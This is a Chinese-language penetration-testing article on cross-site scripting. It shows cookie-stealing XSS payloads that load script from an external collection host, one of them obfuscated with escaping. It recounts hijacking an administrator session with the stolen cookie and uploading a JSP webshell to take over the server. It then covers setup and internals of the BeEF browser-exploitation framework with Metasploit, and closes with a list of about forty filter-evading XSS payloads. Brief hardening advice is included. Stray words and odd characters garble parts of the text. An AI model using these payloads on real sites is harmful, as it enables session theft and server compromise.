xss之渗透测试

跨站脚本攻击:cross site script execution(一般简写为xss,因css与层叠样式表同名,故改成xss),是指攻击者利用网站程序对用户输入过滤不足,输入能够显示在页面上对其余用户形成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害的一种攻击方式,不少人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不觉得然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。

咱们构造的获取cookie的xss脚本代码,已经成功的提交到了网站后台。

代码:

</textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script>
或者
</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>javascript

如图所示:
css

通过1天的等待,网站管理员后台登陆并查看个人我提交的脚本代码,跨站漏洞攻击平台顺利的接收到了发来的cookie身份认证信息。
如图所示:html

利用firefox修改浏览器cookie为截取到的cookie,成功冒充管理员欺骗服务器进入管理后台查看反馈信息:java

后台登陆url为:http://118.194.61.xxx/admin.dogit

成功进入后台管理系统,并能够对全部栏目操做,包括CEO的微博账号设置等,后台还包含上传功能,经渗透测试发现能够上传指定jsp脚本木马文件。web

成功上传jsp木马脚本到服务器目录,url为:http://wwww.xxx.com/pub/129/2013/files/job.jsp。shell

链接进入顺利执行指定jsp木马,能够接管目标服务器,上传下载,新建删除网站文件等,甚至能够执行系统命令。数据库

如图所示:浏览器

xss渗透之BEEF利用安全

BeEF是一个用于合法研究和测试目的的专业浏览器漏洞利用框架,它容许有经验的渗透测试人员或系统管理员对目标进行攻击测试,攻击成功之后会加载浏览器劫持会话。
BeFF,它扩展了跨站漏洞的利用,能hook不少浏览器(IE和Firefox等)并能够执行不少内嵌命令。
BeEF是目前欧美最流行的web框架攻击平台,它的全称是:the Browser exploitation framework project.
经过xss这个简单的漏洞,BeEF能够经过一段编制好的javascript控制目标主机的浏览器,经过浏览器拿到各类信息而且扫描内网信息,同时可以配合metasploit进一步渗透主机。

一、BEEF项目地址:http://beefproject.com

二、安装BeEF

下载Beef最新版本
$ svn checkout http://beef.googlecode.com/svn/track/ beef
$ ruby install
选择第一项自动安装须要的相关gems便可,也能够选择2按照提示一个一个进行安装,安装完成后就能够直接启动了
$ ruby beef -x

三、使用BeEF

启动BeEF
#./beef

命令行中显示的UI URL之后即为WEB接口,用浏览器打开,输入默认密码beef/beef,便可进入BeEF管理页面
按照提示,假设此时目标192.168.11.1的服务器访问了这个demo页面:http://192.168.11.152:3000/demos/basic.html,则就被hook上了。
如图所示:

四、实施攻击

hook持续的时间为关闭测试页面为止,在此期间,至关于被控制了,能够发送攻击命令了,选择commands栏,能够看到不少已经分好类的攻击模块。
其中,4种颜色分别表示:
该攻击模块可用,且隐蔽性强
该攻击模块可用,但隐蔽性差
该用户模块是否可用还有待验证
该攻击模块不可用

例如,选取MISC下的Raw JavaScript模块做为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等,输入Javascript code,点击Excute进行攻击。
效果如图所示:

五、proxy功能

选中目标主机,右键,在菜单中选中Use as Proxy

如图所示:

而后再Rider选项卡中的Forge Request 编辑并发送想要发送的内容。

如图所示:

经过查看目标浏览器firebug记录,能够确信确实发送了该http,达到了代理效果。同时Rider下的History选项也记录了发送历史记录。

如图所示:

六、metasploit组合

因为BeEF默认是不加载metasploit的,要使用Metasploit丰富的攻击模块,须要作些配置,BT5下,首先到beef目录下修改/pentest/web/beef/config.yaml文件,将其中的metasploit选项改成enable。
如图所示:

而后查看/pentest/web/beef/extensions/metasploit/config.yaml,查看到其中的pass默认为abc123,这是与metasploit通讯约定的密码,转到msf目录/opt/metasploit/msf3/,新建一个 beef.rc文件,内容为:load msgrpc ServerHost=127.0.0.1 Pass=abc123,从而实现与beef的通讯。
启动msfconsole
#msfconsole –r beef.rc
如图所示,顺利启动服务。

如今能够启动beef了,启动后,能够看到BEEF加载了204个metasploit的攻击模块。

如图所示:

如今可使用metasploit的模块进行攻击了。

如图所示:

七、原理

BEEF采用ruby语言编写,其目录结构以下所示:

除去一些安装和说明文件,Beef最主要的目录有三个,core、extension和modules,BEEF的核心文件在core目录下,各类扩展功能在extension目录下,modules则为攻击模块目录。

core目录是BEEF的核心目录,并负责加载extension和module。其中最关键的文件位于core\main目录下,其文件结构以下所示:

client目录下均为js文件,是在受控客户端(hooked browser)使用的js文件,包括net、browser、encode、os等的实现,以update.js为例,在core\main\client\update.js中能够看到,定义了beef.updater,设置每隔5秒check一次是否有新的命令,若是有,则获取并执行之。
console目录用于命令行控制。
constants目录定义了各类常量。
handlers目录主要用于处理来自受控客户端链接请求。
models目录定义了一些基本的类。
rest目录,即WEB服务基于REST原则,是一种轻量级的HTTP实现,在server.rb中可看到,是经过mount的形式将资源与URL相对应,即它不是一个简单的WEB目录服务,任何须要http服务的资源,都须要先mount才能使用。


def mount(url, http_handler_class, args = nil)
        # argument type checking
        raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?
 
        if args == nil
          mounts[url] = http_handler_class
        else
          mounts[url] = http_handler_class, *args
        end
        print_debug(“Server: mounted handler ‘#{url}’”)
      end
     ………
     self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)
      ………
      # Rack mount points
        @rack_app = Rack::URLMap.new(@mounts)
      ………
       # Create the BeEF http server
          @http_server = Thin::Server.new(
              @configuration.get(‘beef.http.host’),
              @configuration.get(‘beef.http.port’),
              @rack_app)

 

extention目录下为各类扩展应用

其中几个extension的做用以下:

Admin_ui: 实现了一个WEB界面的控制后台。
Metasploit: 与metasploit互通相关的设置。
Requester: 负责处理HTTP请求,其文件以下所示:

其中:Extension.rb 是每一个扩展必有的文件,是加载该扩展的接口文件。
Config.yaml为做者和该扩展相关信息。
Api.rb为自身注册的一些API函数。
Models定义了一个http模型对象,例如,其中有个has_run属性,当请求未发送时,其值为”waiting”,发送攻击时,遍历状态为”waiting”的模块,并发送http请求。
Handler.rb 主要是处理http响应,收到响应后将相应的模块has_run状态置为complete,并保存到数据库。

modules目录
modules集合了BEEF的各个攻击模块,通常一个攻击模块分为3个文件:command.js、config.yaml、module.rb。这样的结构能够很方便地进行模块添加,易于扩展。
config.yaml: 攻击模块相关信息,如名称、描述、分类、做者、适用场景等
module.rb:文件定义了该攻击模块的类,继承了BEFF::Core::Command类,在通用command类的基础上定义一些该模块特有的处理函数,如使用较多的一个函数是post_execute,即攻击进行后进行的操做(通常为保存结果),以下所示:

class Browser_fingerprinting < BeEF::Core::Command
 
 
  def post_execute
    content = {}
    content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
    content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
    if content.empty?
      content['fail'] = ‘Failed to fingerprint browser.’
    end
    save content
  end
 
end

command.js: 即为攻击代码,攻击时读取此js并发送给受控客户端,以detect_firebug模块的command.js为例,代码以下所示:

beef.execute(function() {
 
         var result = “Not in use or not installed”;
         if (window.console && (window.console.firebug || window.console.exception)) result = “Enabled and in use!”;
         beef.net.send(“<%= @command_url %>”, <%= @command_id %>, “firebug=”+result);
});

代码很简单,在受控客户端执行取得结果以后,将结果返回给server端,Beef.net在core/main/client目录下定义。
在core目录下的command.rb中,能够看到加载过程,首先判断该攻击模块的command.js是否存在,如存在,就读取到@eruby,可能还须要进行参数替换,因此须要进行evaluate操做。

      def output
 
        f = @path+’command.js’
        (print_error “#{f} file does not exist”;return) if not File.exists? f
 
        command = BeEF::Core::Models::Command.first(:id => @command_id)
 
        @eruby = Erubis::FastEruby.new(File.read(f))
 
        data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”)
        cc = BeEF::Core::CommandContext.new
        cc['command_url'] = @default_command_url
        cc['command_id'] = @command_id
        JSON.parse(command['data']).each{|v|
          cc[v['name']] = v['value']
        }
        if self.respond_to?(:execute)
          self.execute
        end
        @output = @eruby.evaluate(cc)
 
        @output
      end

八、总结

经过本次渗透测试一步一步利用系统存在的漏洞不断获取系统权限。
这里边利用的漏洞有这么几个:一个是网站对外开放反馈那里的提交页面,对于客户端提交的恶意脚本代码,没有作输入的过滤处理或者后台显示的时候没有作输出编码处理,给跨站代码的运行留下了可趁之机;另外一个是网站后台提供上传的地方没有作任何的过滤哪怕是文件后缀的过滤都没有作,致使能够直接上传植入恶意脚本后门文件。

九、安全建议

基于以上2个漏洞,咱们提供以下安全建议:
跨站方面:对网站上全部能提交到后台的反馈信息处,限制客户端的输入过滤一些危险字符好比< >? /’; 等特殊字符,在输出的地方对客户端输入的字符在服务端作转义处理而后再发送给浏览器显示,同时也能够在后台cookie设置的时候cookie属性加入httponly属性,指定cookie信息经过http传输,这样后台即便存在了跨站脚本也读取不到管理员的cookie。
上传方面:对后台上传文件地方作白名单过滤机制,只容许如JPG、GIF等上传。

十、xss payload

1.普通的XSS JavaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>2.IMG标签XSS使用JavaScript命令<IMG SRC=1 ONERROR=alert(‘XSS’)>3.IMG标签无分号无引号<IMG SRC=javascript:alert(‘XSS’)>4.IMG标签大小写不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>5.HTML编码(必须有分号)<IMG SRC=javascript:alert(“XSS”)>6.修正缺陷IMG标签<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>7.formCharCode标签(计算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8.UTF-8的Unicode编码(计算器)<IMG SRC=jav..省略..S')>9.7位的UTF-8的Unicode编码是没有分号的(计算器)<IMG SRC=jav..省略..S')>10.十六进制编码也是没有分号(计算器)<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>11.嵌入式标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>12.嵌入式编码标签,将Javascript分开<IMG SRC=”jav ascript:alert(‘XSS’);”>13.嵌入式换行符<IMG SRC=”jav ascript:alert(‘XSS’);”>14.嵌入式回车<IMG SRC=”jav ascript:alert(‘XSS’);”>15.嵌入式多行注入JavaScript,这是XSS极端的例子<IMG SRC=”javascript:alert(‘XSS‘)”>16.解决限制字符(要求同页面)<script>z=’document.’</script><script>z=z+’write(“‘</script><script>z=z+’<script’</script><script>z=z+’ src=ht’</script><script>z=z+’tp://ww’</script><script>z=z+’w.shell’</script><script>z=z+’.net/1.’</script><script>z=z+’js></sc’</script><script>z=z+’ript>”)’</script><script>eval_r(z)</script>17.空字符perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out18.空字符2,空字符在国内基本没效果.由于没有地方能够利用perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out19.Spaces和meta前的IMG标签<IMG SRC=” javascript:alert(‘XSS’);”>20.Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>21.Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>22.Non-alpha-non-digit XSS to 3<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>23.双开括号<<SCRIPT>alert(a.sourse);//<</SCRIPT>24.无结束脚本标记(仅火狐等浏览器)<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>25.无结束脚本标记<SCRIPT SRC=//3w.org/XSS/xss.js>26.半开的HTML/JavaScript XSS<IMG SRC=”javascript:alert(‘XSS’)”27.双开角括号<iframe src=http://3w.org/XSS.html <28.无单引号、双引号、分号<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>29.换码过滤的JavaScript\”;alert(‘XSS’);//30.结束Title标签</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>31.Input Image<INPUT SRC=”javascript:alert(‘XSS’);”>32.BODY Image<BODY BACKGROUND=”javascript:alert(‘XSS’)”>33.BODY标签<BODY(‘XSS’)>34.IMG Dynsrc<IMG DYNSRC=”javascript:alert(‘XSS’)”>35.IMG Lowsrc<IMG LOWSRC=”javascript:alert(‘XSS’)”>36.BGSOUND<BGSOUND SRC=”javascript:alert(‘XSS’);”>37.STYLE sheet<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>38.远程样式表<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>39.List-style-image(列表式)<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS40.IMG VBscript<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

相关文章
相关标签/搜索